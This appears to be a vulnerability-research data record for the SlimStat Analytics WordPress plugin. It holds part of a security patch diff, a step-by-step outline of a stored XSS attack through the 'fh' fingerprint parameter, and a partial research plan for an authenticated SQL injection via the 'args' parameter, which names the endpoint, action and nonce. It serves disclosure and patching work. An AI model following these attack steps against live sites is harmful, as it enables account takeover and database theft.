'\u003C\u002Fstrong>\u003C\u002Fp>';\n+        $content .= '\u003Cp>' . __('Under GDPR, you have the right to:', 'wp-slimstat') . '\u003C\u002Fp>';\n+        $content .= '\u003Cul>';\n+        $content .= '\u003Cli>' . __('Access your personal data collected by SlimStat', 'wp-slimstat') . '\u003C\u002Fli>';\n+        $content .= '\u003Cli>' . __('Request deletion of your personal data (Right to be Forgotten)', 'wp-slimstat') . '\u003C\u002Fli>';\n+        $content .= '\u003Cli>' . __('Opt-out of tracking by revoking consent (if GDPR mode is enabled)', 'wp-slimstat') . '\u003C\u002Fli>';\n+        $content .= '\u003C\u002Ful>';\n+\n+        if ('on' === (self::$settings['gdpr_enabled'] ?? 'on')) {\n+            $content .= '\u003Cp>' . __('You can exercise these rights by using the WordPress Privacy Tools (Tools → Export Personal Data \u002F Erase Personal Data) or by contacting the site administrator.', 'wp-slimstat') . '\u003C\u002Fp>';\n+        }\n+\n+        $content .= '\u003Cp>\u003Cstrong>' . __('Consent Management', 'wp-slimstat') . '\u003C\u002Fstrong>\u003C\u002Fp>';\n+        if ('on' === (self::$settings['anonymous_tracking'] ?? 'off')) {\n+            $content .= '\u003Cp>' . __('This website uses Anonymous Tracking Mode. Initial tracking occurs without collecting personally identifiable information (PII). Full tracking with PII collection only occurs after you grant explicit consent.', 'wp-slimstat') . '\u003C\u002Fp>';\n+        } else {\n+            $content .= '\u003Cp>' . __('Tracking requires your consent when GDPR mode is enabled. You can grant or revoke consent at any time through the consent management interface.', 'wp-slimstat') . '\u003C\u002Fp>';\n+        }\n+\n+        wp_add_privacy_policy_content('SlimStat Analytics', $content);\n+    }\n \n     public static function add_plugin_manual_download_link($_links = [], $_plugin_file = '')\n     {\n@@ -1617,535 +1352,6 @@\n     \u002F\u002F end get_lossy_url\n \n     \u002F**\n-     * Update content type as needed\n-     *\u002F\n-    public static function update_content_type($_status = 301, $_location = '')\n-    {\n-        if ($_status >= 300 && $_status \u003C 400) {\n-            \u002F\u002F SEE WHY THIS DOESN'T WORK?!\n-            self::$stat['content_type'] = 'redirect:' . intval($_status);\n-            self::_update_row(self::$stat);\n-        }\n-\n-        return $_status;\n-    }\n-    \u002F\u002F end update_content_type\n-\n-    \u002F**\n-     * Stores the pageview information in the database and returns the ID associated to the new entry\n-     *\u002F\n-    protected static function _insert_row($_data = [], $_table = '')\n-    {\n-        if (empty($_data) || empty($_table)) {\n-            return -1;\n-        }\n-\n-        \u002F\u002F Remove unwanted characters from keys (SQL injections, anyone?)\n-        $data_keys = [];\n-        foreach (array_keys($_data) as $a_key) {\n-            $data_keys[] = sanitize_key($a_key);\n-        }\n-\n-        \u002F\u002F Remove unwanted characters from data (SQL injections, anyone?)\n-        foreach ($_data as $key => $value) {\n-            $_data[$key] = 'resource' == $key ? sanitize_url($value) : sanitize_text_field($value);\n-        }\n-\n-        self::$wpdb->query(self::$wpdb->prepare(\"\n-            INSERT IGNORE INTO {$_table} (\" . implode(', ', $data_keys) . ')\n-            VALUES (' . substr(str_repeat('%s,', count($_data)), 0, -1) . ')', $_data));\n-\n-        return intval(self::$wpdb->insert_id);\n-    }\n-    \u002F\u002F end _insert_row\n-\n-    \u002F**\n-     * Updates an existing row\n-     *\u002F\n-    protected static function _update_row($_data = [])\n-    {\n-        if (empty($_data) || empty($_data['id'])) {\n-            return false;\n-        }\n-\n-        \u002F\u002F Extract the ID from the array\n-        $id = abs(intval($_data['id']));\n-        unset($_data['id']);\n-\n-        \u002F\u002F Sanitize column names (SQL\u002FXSS injections, anyone?)\n-        $_data = array_filter($_data);\n-\n-        \u002F\u002F The 'notes' column stores multiple comma-separated values: we need to append the new value to the existing ones\n-        \u002F\u002F Also, values are organized in an array, which we need to implode as a string\n-        $notes = '';\n-        if (!empty($_data['notes']) && is_array($_data['notes'])) {\n-            $notes = (count($_data) > 1 ? ',' : '') . \"notes=CONCAT( IFNULL( notes, '' ), '[\" . esc_sql(implode('][', $_data['notes'])) . \"]' )\";\n-            unset($_data['notes']);\n-        }\n-\n-        $prepared_query = self::$wpdb->prepare(\"\n-            UPDATE IGNORE {$GLOBALS[ 'wpdb' ]->prefix}slim_stats\n-            SET \" . implode('=%s,', array_keys($_data)) . \"=%s\n-            WHERE id = {$id}\n-        \", $_data);\n-\n-        \u002F\u002F Add the notes\n-        if ('' !== $notes && '0' !== $notes) {\n-            $prepared_query = str_replace('WHERE id =', $notes . ' WHERE id =', $prepared_query);\n-        }\n-\n-        \u002F\u002F Save the data in the database\n-        self::$wpdb->query($prepared_query);\n-\n-        return $id;\n-    }\n-    \u002F\u002F end _update_row\n-\n-    \u002F**\n-     * Tries to find the user's REAL IP address\n-     *\u002F\n-    protected static function _get_remote_ip()\n-    {\n-        $ip_array = ['', ''];\n-\n-        if (!empty($_SERVER['REMOTE_ADDR']) && false !== filter_var($_SERVER['REMOTE_ADDR'], FILTER_VALIDATE_IP)) {\n-            $ip_array[0] = sanitize_text_field(wp_unslash($_SERVER['REMOTE_ADDR']));\n-        }\n-\n-        $originating_ip_headers = ['HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR', 'HTTP_CLIENT_IP', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_X_REAL_IP', 'HTTP_INCAP_CLIENT_IP'];\n-        foreach ($originating_ip_headers as $a_header) {\n-            if (!empty($_SERVER[$a_header])) {\n-                foreach (explode(',', $_SERVER[$a_header]) as $a_ip) {\n-                    if (false !== filter_var($a_ip, FILTER_VALIDATE_IP) && $a_ip != $ip_array[0]) {\n-                        $ip_array[1] = $a_ip;\n-                        break;\n-                    }\n-                }\n-            }\n-        }\n-\n-        return apply_filters('slimstat_filter_ip_address', $ip_array);\n-    }\n-    \u002F\u002F end _get_remote_ip\n-\n-    \u002F**\n-     * Extracts the accepted language from browser headers\n-     *\u002F\n-    protected static function _get_language()\n-    {\n-        if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {\n-\n-            \u002F\u002F Capture up to the first delimiter (, found in Safari)\n-            preg_match('\u002F([^,;]*)\u002F', $_SERVER['HTTP_ACCEPT_LANGUAGE'], $array_languages);\n-\n-            \u002F\u002F Fix some codes, the correct syntax is with minus (-) not underscore (_)\n-            return str_replace('_', '-', strtolower($array_languages[0]));\n-        }\n-        return '';  \u002F\u002F Indeterminable language\n-    }\n-    \u002F\u002F end _get_language\n-\n-    \u002F**\n-     * Sniffs out referrals from search engines and tries to determine the query string\n-     *\u002F\n-    protected static function _get_search_terms($_url = '')\n-    {\n-        if (empty($_url)) {\n-            return '';\n-        }\n-\n-        $searchterms = '';\n-\n-        \u002F\u002F Load the search engines list to mark pageviews accordingly\n-        \u002F\u002F Each entry contains the following attributes\n-        \u002F\u002F - params: which query string params is associated to the search keyword\n-        \u002F\u002F - backlink: format of the URL point to the search engine result page\n-        \u002F\u002F - charsets: list of charset used to encode the keywords\n-        \u002F\u002F\n-        $search_engines = file_get_contents(plugin_dir_path(__FILE__) . 'admin\u002Fassets\u002Fdata\u002Fmatomo-searchengine.json');\n-        $search_engines = json_decode($search_engines, true);\n-\n-        $parsed_url = @parse_url($_url);\n-\n-        if (empty($search_engines) || empty($parsed_url) || empty($parsed_url['host'])) {\n-            return '';\n-        }\n-\n-        $sek = self::get_lossy_url($parsed_url['host']);\n-\n-        if (!empty($search_engines[$sek])) {\n-            if (empty($search_engines[$sek]['params'])) {\n-                $search_engines[$sek]['params'] = ['q'];\n-            }\n-\n-            foreach ($search_engines[$sek]['params'] as $a_param) {\n-                if (!empty($parsed_url['query'])) {\n-                    $searchterms = self::_get_param_from_query_string($parsed_url['query'], $a_param);\n-                    if (!empty($searchterms)) {\n-                        break;\n-                    }\n-                }\n-            }\n-\n-            \u002F\u002F Make sure to use the appropriate charset, if specified\n-            if (!empty($searchterms) && (!empty($search_engines['charsets']) && function_exists('iconv'))) {\n-                $charset = $search_engines['charsets'][0];\n-                if (count($search_engines['charsets']) > 1 && function_exists('mb_detect_encoding')) {\n-                    $charset = mb_detect_encoding($searchterms, $search_engines['charsets']);\n-                    if (false === $charset) {\n-                        $charset = $search_engines['charsets'][0];\n-                    }\n-                }\n-                $new_searchterms = @iconv($charset, 'UTF-8\u002F\u002FIGNORE', $searchterms);\n-                if (!('' === $new_searchterms || '0' === $new_searchterms || false === $new_searchterms)) {\n-                    $searchterms = $new_searchterms;\n-                }\n-            }\n-        } elseif (!empty($parsed_url['query'])) {\n-            \u002F\u002F We weren't lucky, but there's still hope\n-            foreach (['ask', 'k', 'q', 'qs', 'qt', 'query', 's', 'string'] as $a_param) {\n-                $searchterms = self::_get_param_from_query_string($parsed_url['query'], $a_param);\n-                if (!empty($searchterms)) {\n-                    break;\n-                }\n-            }\n-        }\n-\n-        return sanitize_text_field($searchterms);\n-    }\n-    \u002F\u002F end _get_search_terms\n-\n-    \u002F**\n-     * Retrieves a param value from a string treated as a URL query string\n-     *\u002F\n-    protected static function _get_param_from_query_string($_query = '', $_parameter = '')\n-    {\n-        if (empty($_query)) {\n-            return '';\n-        }\n-\n-        @parse_str($_query, $values);\n-\n-        return empty($values[$_parameter]) ? '' : $values[$_parameter];\n-    }\n-    \u002F\u002F end _get_param_from_query_string\n-\n-    \u002F**\n-     * Returns details about the resource being accessed\n-     *\u002F\n-    protected static function _get_content_info()\n-    {\n-        $content_info = ['content_type' => ''];\n-\n-        \u002F\u002F Mark 404 pages\n-        if (is_404()) {\n-            $content_info['content_type'] = '404';\n-        } \u002F\u002F Type\n-        elseif (is_single()) {\n-            if (($post_type = get_post_type()) != 'post') {\n-                $post_type = 'cpt:' . $post_type;\n-            }\n-\n-            $content_info['content_type'] = $post_type;\n-            $category_ids                 = [];\n-            foreach (get_object_taxonomies($GLOBALS['post']) as $a_taxonomy) {\n-                $terms = get_the_terms($GLOBALS['post']->ID, $a_taxonomy);\n-                if (is_array($terms)) {\n-                    foreach ($terms as $a_term) {\n-                        $category_ids[] = $a_term->term_id;\n-                    }\n-                    $content_info['category'] = implode(',', $category_ids);\n-                }\n-            }\n-            $content_info['content_id'] = $GLOBALS['post']->ID;\n-        } elseif (is_page()) {\n-            $content_info['content_type'] = 'page';\n-            $content_info['content_id']   = $GLOBALS['post']->ID;\n-        } elseif (is_attachment()) {\n-            $content_info['content_type'] = 'attachment';\n-        } elseif (is_singular()) {\n-            $content_info['content_type'] = 'singular';\n-        } elseif (is_post_type_archive()) {\n-            $content_info['content_type'] = 'post_type_archive';\n-        } elseif (is_tag()) {\n-            $content_info['content_type'] = 'tag';\n-            $list_tags                    = get_the_tags();\n-            if (is_array($list_tags)) {\n-                $tag_info = array_pop($list_tags);\n-                if (!empty($tag_info)) {\n-                    $content_info['category'] = $tag_info->term_id;\n-                }\n-            }\n-        } elseif (is_tax()) {\n-            $content_info['content_type'] = 'taxonomy';\n-        } elseif (is_category()) {\n-            $content_info['content_type'] = 'category';\n-            $list_categories              = get_the_category();\n-            if (is_array($list_categories)) {\n-                $cat_info = array_pop($list_categories);\n-                if (!empty($cat_info)) {\n-                    $content_info['category'] = $cat_info->term_id;\n-                }\n-            }\n-        } elseif (is_date()) {\n-            $content_info['content_type'] = 'date';\n-        } elseif (is_author()) {\n-            $content_info['content_type'] = 'author';\n-        } elseif (is_archive()) {\n-            $content_info['content_type'] = 'archive';\n-        } elseif (is_search()) {\n-            $content_info['content_type'] = 'search';\n-        } elseif (is_feed()) {\n-            $content_info['content_type'] = 'feed';\n-        } elseif (is_home() || is_front_page()) {\n-            $content_info['content_type'] = 'home';\n-        } elseif (!empty($GLOBALS['pagenow']) && 'wp-login.php' == $GLOBALS['pagenow']) {\n-            $content_info['content_type'] = 'login';\n-        } elseif (!empty($GLOBALS['pagenow']) && 'wp-register.php' == $GLOBALS['pagenow']) {\n-            $content_info['content_type'] = 'registration';\n-        } \u002F\u002F WordPress sets is_admin() to true for all ajax requests ( front-end or admin-side )\n-        elseif (is_admin() && (!defined('DOING_AJAX') || !DOING_AJAX)) {\n-            $content_info['content_type'] = 'admin';\n-        }\n-\n-        if (is_paged()) {\n-            $content_info['content_type'] .= ':paged';\n-        }\n-\n-        \u002F\u002F Author\n-        if (is_singular()) {\n-            $author = get_the_author_meta('user_login', $GLOBALS['post']->post_author);\n-            if (!empty($author)) {\n-                $content_info['author'] = $author;\n-            }\n-        }\n-\n-        return $content_info;\n-    }\n-    \u002F\u002F end _get_content_info\n-\n-    \u002F**\n-     * Reads the information sent by the Javascript tracker and adds it to the $_stat array\n-     *\u002F\n-    protected static function _get_client_info($_data_js = [], $_stat = [])\n-    {\n-        if (!empty($_data_js['bw'])) {\n-            $_stat['resolution'] = strip_tags(trim($_data_js['bw'] . 'x' . $_data_js['bh']));\n-        }\n-        if (!empty($_data_js['sw'])) {\n-            $_stat['screen_width'] = intval($_data_js['sw']);\n-        }\n-        if (!empty($_data_js['sh'])) {\n-            $_stat['screen_height'] = intval($_data_js['sh']);\n-        }\n-        if (!empty($_data_js['sl']) && $_data_js['sl'] > 0 && $_data_js['sl'] \u003C 60000) {\n-            $_stat['server_latency'] = intval($_data_js['sl']);\n-        }\n-        if (!empty($_data_js['pp']) && $_data_js['pp'] > 0 && $_data_js['pp'] \u003C 60000) {\n-            $_stat['page_performance'] = intval($_data_js['pp']);\n-        }\n-        if (!empty($_data_js['fh']) && 'on' != self::$settings['anonymize_ip']) {\n-            $_stat['fingerprint'] = sanitize_text_field($_data_js['fh']);\n-        }\n-        if (!empty($_data_js['tz'])) {\n-            $_stat['tz_offset'] = intval($_data_js['tz']);\n-        }\n-\n-        return $_stat;\n-    }\n-    \u002F\u002F end _get_client_info\n-\n-    \u002F**\n-     * Reads the cookie to get the visit_id and sets the variable accordingly\n-     *\u002F\n-    protected static function _set_visit_id($_force_assign = false)\n-    {\n-        $is_new_session = true;\n-        $identifier     = 0;\n-\n-        if (isset($_COOKIE['slimstat_tracking_code'])) {\n-            \u002F\u002F Make sure only authorized information is recorded\n-            $identifier = self::_get_value_without_checksum($_COOKIE['slimstat_tracking_code']);\n-            if (false === $identifier) {\n-                return false;\n-            }\n-\n-            $is_new_session = (false !== strpos($identifier, 'id'));\n-            $identifier     = intval($identifier);\n-        }\n-\n-        \u002F\u002F User doesn't have an active session\n-        if ($is_new_session && ($_force_assign || 'on' == self::$settings['javascript_mode'])) {\n-            if (empty(self::$settings['session_duration'])) {\n-                self::$settings['session_duration'] = 1800;\n-            }\n-\n-            self::$stat['visit_id'] = get_transient('slimstat_visit_id');\n-            if (false === self::$stat['visit_id']) {\n-                self::$stat['visit_id'] = intval(self::$wpdb->get_var(sprintf('SELECT MAX( visit_id ) FROM %sslim_stats', $GLOBALS[ 'wpdb' ]->prefix)));\n-            }\n-            self::$stat['visit_id']++;\n-            set_transient('slimstat_visit_id', self::$stat['visit_id']);\n-\n-            $set_cookie = apply_filters('slimstat_set_visit_cookie', (!empty(self::$settings['set_tracker_cookie']) && 'on' == self::$settings['set_tracker_cookie']));\n-            if ($set_cookie) {\n-                @setcookie(\n-                    'slimstat_tracking_code',\n-                    self::_get_value_with_checksum(self::$stat['visit_id']),\n-                    ['expires' => time() + self::$settings['session_duration'], 'path' => COOKIEPATH]\n-                );\n-            }\n-\n-        } elseif ($identifier > 0) {\n-            self::$stat['visit_id'] = $identifier;\n-        }\n-\n-        if ($is_new_session && $identifier > 0) {\n-            self::$wpdb->query(self::$wpdb->prepare(\n-                \"\n-                UPDATE {$GLOBALS['wpdb' ]->prefix}slim_stats\n-                SET visit_id = %d\n-                WHERE id = %d AND visit_id = 0\",\n-                self::$stat['visit_id'],\n-                $identifier\n-            ));\n-        }\n-        return ($is_new_session && ($_force_assign || 'on' == self::$settings['javascript_mode']));\n-    }\n-    \u002F\u002F end _set_visit_id\n-\n-    \u002F**\n-     * Saves an error detected by the tracker in the database\n-     *\u002F\n-    protected static function _log_error($_error_code = 0)\n-    {\n-        \u002F\u002F Save this error in the database\n-        self::update_option('slimstat_tracker_error', [$_error_code, self::date_i18n('U')]);\n-\n-        \u002F\u002F Allow third-party code to trigger actions based on this error\n-        do_action('slimstat_track_exit_' . abs($_error_code), self::$stat);\n-\n-        return -$_error_code;\n-    }\n-\n-    \u002F\u002F end _log_error\n-\n-    protected static function _get_value_with_checksum($_value = 0)\n-    {\n-        return $_value . '.' . md5($_value . self::$settings['secret']);\n-    }\n-\n-    protected static function _get_value_without_checksum($_value_with_checksum = '')\n-    {\n-        [$value, $checksum] = explode('.', $_value_with_checksum);\n-\n-        if ($checksum === md5($value . self::$settings['secret'])) {\n-            return $value;\n-        }\n-\n-        return false;\n-    }\n-\n-    \u002F**\n-     * Determines if a given string is listed in the corresponding 'exclusion' field\n-     *\u002F\n-    protected static function _is_blacklisted($_needles = [], $_haystack_string = '')\n-    {\n-        foreach (self::string_to_array($_haystack_string) as $a_item) {\n-            $pattern = str_replace(['\\*', '\\!'], ['(.*)', '.'], preg_quote($a_item, '@'));\n-\n-            if (!is_array($_needles)) {\n-                $_needles = [$_needles];\n-            }\n-\n-            foreach ($_needles as $a_needle) {\n-                if (preg_match(sprintf('@^%s$@i', $pattern), $a_needle)) {\n-                    return true;\n-                }\n-            }\n-        }\n-\n-        return false;\n-    }\n-    \u002F\u002F end _is_blacklisted\n-\n-    \u002F**\n-     * Determines if this is a new visitor, meaning that we've never seen this fingerprint before\n-     *\u002F\n-    protected static function _is_new_visitor($_fingerprint = '')\n-    {\n-        \u002F\u002F If the privacy option is enabled, all visitors would be considered \"new\"...\n-        if ('on' == self::$settings['anonymize_ip']) {\n-            return false;\n-        }\n-\n-        $count_fingerprint = self::$wpdb->get_var(self::$wpdb->prepare(\n-            \"\n-            SELECT COUNT( id )\n-            FROM {$GLOBALS[ 'wpdb' ]->prefix}slim_stats\n-            WHERE fingerprint = %s\",\n-            $_fingerprint\n-        ));\n-\n-        return 0 == $count_fingerprint;\n-    }\n-    \u002F\u002F end _is_new_visitor\n-\n-    \u002F**\n-     * Validates and unpacks an IP Address\n-     *\u002F\n-    protected static function _dtr_pton($_ip)\n-    {\n-        $unpacked = false;\n-\n-        if (filter_var($_ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {\n-            $unpacked = unpack('A4', inet_pton($_ip));\n-        } elseif (filter_var($_ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) && defined('AF_INET6')) {\n-            $unpacked = unpack('A16', inet_pton($_ip));\n-        }\n-\n-        $binary_ip = '';\n-        if ([] !== $unpacked && false !== $unpacked && isset($unpacked[1])) {\n-            $unpacked = str_split($unpacked[1]);\n-            foreach ($unpacked as $char) {\n-                $binary_ip .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);\n-            }\n-        }\n-\n-        return $binary_ip;\n-    }\n-    \u002F\u002F end _dtr_pton\n-\n-    \u002F**\n-     * Helper function to determine if we should ignore visits coming from this IP address\n-     *\u002F\n-    protected static function _get_mask_length($ip)\n-    {\n-        if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {\n-            return 32;\n-        } elseif (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) {\n-            return 128;\n-        }\n-\n-        return false;\n-    }\n-    \u002F\u002F end _get_mask_length\n-\n-    \u002F**\n-     * These two functions here implement an URL-safe base64 string\n-     *\u002F\n-    protected static function _base64_url_encode($_input = '')\n-    {\n-        return strtr(base64_encode($_input), '+\u002F=', '._-');\n-    }\n-\n-    protected static function _base64_url_decode($_input = '')\n-    {\n-        return strip_tags(trim(base64_decode(strtr($_input, '._-', '+\u002F='))));\n-    }\n-    \u002F\u002F end _base64_url_encode\u002Fdecode\n-\n-    \u002F**\n      * Check if slimstat pro plugin is installed\n      *\u002F\n     public static function pro_is_installed($pluginSlug = 'wp-slimstat-pro\u002Fwp-slimstat-pro.php')\n@@ -2216,7 +1422,7 @@\n         ], $_instance));\n \n         if (!empty($slimstat_widget_title)) {\n-            echo (empty($_args['before_title']) ? '\u003Ch2 class=\"widget-title\">' : $_args['before_title']) . $slimstat_widget_title . (empty($_args['after_title']) ? '\u003C\u002Fh2>' : $_args['after_title']);\n+            echo (empty($_args['before_title']) ? '\u003Ch2 class=\"widget-title\">' : $_args['before_title']) . esc_html($slimstat_widget_title) . (empty($_args['after_title']) ? '\u003C\u002Fh2>' : $_args['after_title']);\n         }\n         if (!empty($slimstat_widget_id)) {\n             echo do_shortcode(sprintf(\"[slimstat f='widget' w='%s']%s[\u002Fslimstat]\", $slimstat_widget_id, $slimstat_widget_filters));\n@@ -2279,19 +1485,34 @@\n     {\n         $instance = $_old_instance;\n \n-        $instance['slimstat_widget_id']      = $_new_instance['slimstat_widget_id'];\n-        $instance['slimstat_widget_title']   = $_new_instance['slimstat_widget_title'];\n-        $instance['slimstat_widget_filters'] = $_new_instance['slimstat_widget_filters'];\n+        $instance['slimstat_widget_id']      = sanitize_key($_new_instance['slimstat_widget_id'] ?? '');\n+        $instance['slimstat_widget_title']   = sanitize_text_field(wp_unslash($_new_instance['slimstat_widget_title'] ?? ''));\n+        $instance['slimstat_widget_filters'] = sanitize_textarea_field(wp_unslash($_new_instance['slimstat_widget_filters'] ?? ''));\n         return $instance;\n     }\n }\n \n+\u002F\u002F Early initialize DB handle for add-ons that may access wp_slimstat::$wpdb before init() runs\n+if (empty(wp_slimstat::$wpdb) && isset($GLOBALS['wpdb'])) {\n+    wp_slimstat::$wpdb = $GLOBALS['wpdb'];\n+}\n+\n \u002F\u002F Ok, let's go, Sparky!\n if (function_exists('add_action')) {\n     \u002F\u002F Since we use sendBeacon, this function sends raw POST data, which does not populate the $_POST variable automatically\n-    if ((!empty($_SERVER['HTTP_CONTENT_TYPE']) || !empty($_SERVER['CONTENT_TYPE'])) && [] === $_POST) {\n+    $http_content_type = isset($_SERVER['HTTP_CONTENT_TYPE']) ? sanitize_text_field(wp_unslash($_SERVER['HTTP_CONTENT_TYPE'])) : '';\n+    $content_type = isset($_SERVER['CONTENT_TYPE']) ? sanitize_text_field(wp_unslash($_SERVER['CONTENT_TYPE'])) : '';\n+    if ((!empty($http_content_type) || !empty($content_type)) && [] === $_POST) {\n+        \u002F\u002F phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents -- Required for reading php:\u002F\u002Finput stream\n         $raw_post_string = file_get_contents('php:\u002F\u002Finput');\n         parse_str($raw_post_string, wp_slimstat::$raw_post_array);\n+\n+        \u002F\u002F Sanitize the action key from the raw body before using it\n+        if (!empty(wp_slimstat::$raw_post_array['action'])) {\n+            wp_slimstat::$raw_post_array['action'] = sanitize_key(\n+                wp_unslash(wp_slimstat::$raw_post_array['action'])\n+            );\n+        }\n     } elseif ([] !== $_POST) {\n         wp_slimstat::$raw_post_array = $_POST;\n     }\n@@ -2300,15 +1521,15 @@\n     if (!empty(wp_slimstat::$raw_post_array['action']) && 'slimtrack' == wp_slimstat::$raw_post_array['action']) {\n \n         \u002F\u002F This is needed because admin-ajax.php is reading $_REQUEST to fire the corresponding action\n+        \u002F\u002F Use a hardcoded literal instead of passing the user-supplied value\n         if (empty($_POST['action'])) {\n-            $_POST['action'] = wp_slimstat::$raw_post_array['action'];\n+            $_POST['action'] = 'slimtrack';\n         }\n \n-        add_action('wp_ajax_nopriv_slimtrack', ['wp_slimstat', 'slimtrack_ajax']);\n-        add_action('wp_ajax_slimtrack', ['wp_slimstat', 'slimtrack_ajax']);\n+        add_action('wp_ajax_nopriv_slimtrack', [\\SlimStat\\Tracker\\Ajax::class, 'handle']);\n+        add_action('wp_ajax_slimtrack', [\\SlimStat\\Tracker\\Ajax::class, 'handle']);\n     }\n \n-    include_once(plugin_dir_path(__FILE__) . 'src\u002FConstants.php');\n \n     \u002F\u002F From the codex: You can't call register_activation_hook() inside a function hooked to the 'plugins_loaded' or 'init' hooks (or any other hook). These hooks are called before the plugin is loaded or activated.\n     if (is_admin()) {\n@@ -2319,8 +1540,35 @@\n \n     add_action('widgets_init', ['wp_slimstat', 'register_widget']);\n \n+    \u002F\u002F Load textdomain early (before init at priority 20)\n+    add_action('plugins_loaded', ['wp_slimstat', 'load_textdomain'], 10);\n+\n     \u002F\u002F Add the appropriate actions\n     add_action('plugins_loaded', ['wp_slimstat', 'init'], 20);\n     \u002F\u002F Add the action to fetch chart data\n     add_action('wp_ajax_slimstat_fetch_chart_data', [\\SlimStat\\Modules\\Chart::class, 'ajaxFetchChartData']);\n }\n+\n+add_action('wp_ajax_slimstat_clear_cache', 'wp_slimstat_clear_cache_handler');\n+\n+function wp_slimstat_clear_cache_handler()\n+{\n+    if (!current_user_can('manage_options')) {\n+        wp_send_json_error(__('Permission denied', 'wp-slimstat'));\n+    }\n+    \u002F\u002F Optional: check nonce if you add it to JS\n+    if (empty($_POST['security']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['security'])), 'slimstat_clear_cache')) {\n+        wp_send_json_error(__('Invalid nonce', 'wp-slimstat'));\n+    }\n+\n+    global $wpdb;\n+    $transients = $wpdb->get_col(\n+        sprintf(\"SELECT option_name FROM %s WHERE option_name LIKE '_transient_wp_slimstat_query_%%' OR option_name LIKE '_transient_timeout_wp_slimstat_query_%%'\", $wpdb->options)\n+    );\n+    $count = 0;\n+    foreach ($transients as $transient) {\n+        delete_option($transient);\n+        $count++;\n+    }\n+    wp_send_json_success(sprintf(__('Slimstat cache cleared (%d items)', 'wp-slimstat'), $count));\n+}\n","An unauthenticated attacker first extracts a tracking nonce from the 'SlimStatParams' global JavaScript object localized on the site's frontend. They then send a POST request to the tracking endpoint (either the 'slimstat_track' action via admin-ajax.php or the REST API tracking route) with a malicious JavaScript payload in the 'fh' parameter. This payload is stored in the plugin's tracking table in the database. The XSS is triggered when an administrator navigates to the 'Access Log' or other report pages in the WordPress dashboard that display visitor fingerprints, causing the injected script to execute in their browser context.","gemini-3-flash-preview","2026-04-18 02:31:32","2026-04-18 02:33:11",{"id":64,"url_slug":65,"title":66,"description":67,"plugin_slug":4,"theme_slug":39,"affected_versions":68,"patched_in_version":69,"severity":70,"cvss_score":71,"cvss_vector":72,"vuln_type":73,"published_date":74,"updated_date":75,"references":76,"days_to_patch":49,"patch_diff_files":78,"patch_trac_url":39,"research_status":53,"research_verified":54,"research_rounds_completed":55,"research_plan":83,"research_summary":84,"research_vulnerable_code":85,"research_fix_diff":86,"research_exploit_outline":87,"research_model_used":60,"research_started_at":88,"research_completed_at":89,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":54,"poc_model_used":39,"poc_verification_depth":39},"CVE-2025-13431","slimstat-analytics-authenticated-subscriber-sql-injection-via-args-parameter","SlimStat Analytics \u003C= 5.3.1 - Authenticated (Subscriber+) SQL Injection via `args` Parameter","The SlimStat Analytics plugin for WordPress is vulnerable to time-based SQL Injection via the ‘args’ parameter in all versions up to, and including, 5.3.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","\u003C=5.3.1","5.3.2","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-02-10 12:36:33","2026-02-11 01:23:34",[77],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F7fdf428d-b57a-4f2d-acfd-24a3a059e5c1?source=api-prod",[51,79,80,81,82],"languages\u002Fwp-slimstat.pot","readme.txt","src\u002FModules\u002FChart.php","wp-slimstat.php","This research plan focuses on **CVE-2025-13431**, a time-based SQL Injection vulnerability in the SlimStat Analytics plugin for WordPress.\n\n### 1. Vulnerability Summary\nThe **SlimStat Analytics** plugin (up to 5.3.1) is vulnerable to authenticated SQL injection via the `args` parameter in the `ajaxFetchChartData` method within `src\u002FModules\u002FChart.php`. The vulnerability arises because the plugin accepts a JSON-encoded object via `$_POST['args']`, decodes it, and uses its keys\u002Fvalues to construct SQL queries without sufficient sanitization or the use of `$wpdb->prepare()`. Specifically, the plugin uses these arguments to build complex analytic queries where string concatenation is preferred over parameterization for dynamic `WHERE` or `GROUP BY` clauses.\n\n### 2. Attack Vector Analysis\n*   **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Action**: `slimstat_fetch_chart_data` (Inferred from the method name `ajaxFetchChartData` in `src\u002FModules\u002FChart.php`)\n*   **Vulnerable Parameter**: `args` (a JSON-encoded string)\n*   **Authentication**: Authenticated, Subscriber level or higher.\n*   **Nonce Requirement**: Yes, a nonce for the action `slimstat_chart_nonce` is required, as checked by `check_ajax_referer('slimstat_chart_nonce', 'nonce')` in `src\u002FModules\u002FChart.php`.\n\n### 3. Code Flow\n1.  **Entry Point**: A Subscriber user sends a POST request to `admin-ajax.php` with `action=slimstat_fetch_chart_data`.\n2.  **Nonce Verification**: `Chart::ajaxFetchChartData()` calls `check_ajax_referer('slimstat_chart_nonce', 'nonce')`.\n3.  **Input Parsing**:\n    *   `$args = isset($_POST['args']) ? json_decode(stripslashes($_POST['args']), true) : [];` (Line 50 in `src\u002FModules\u002FChart.php`).\n4.  **Database Initialization**:\n    *   The code ensures `\\wp_slimstat_db` is initialized and sets range filters using `$args['start']` and `$args['end']`.\n5.  **SQL Construction**:\n    *   The `Chart` instance calls `init($args)`, which leads to `fetchChartData($normalized)`.\n    *   `fetchChartData` calls `$this->buildSql($args, $prevArgs)` (Line 158).\n    *   `buildSql` calls internal methods like 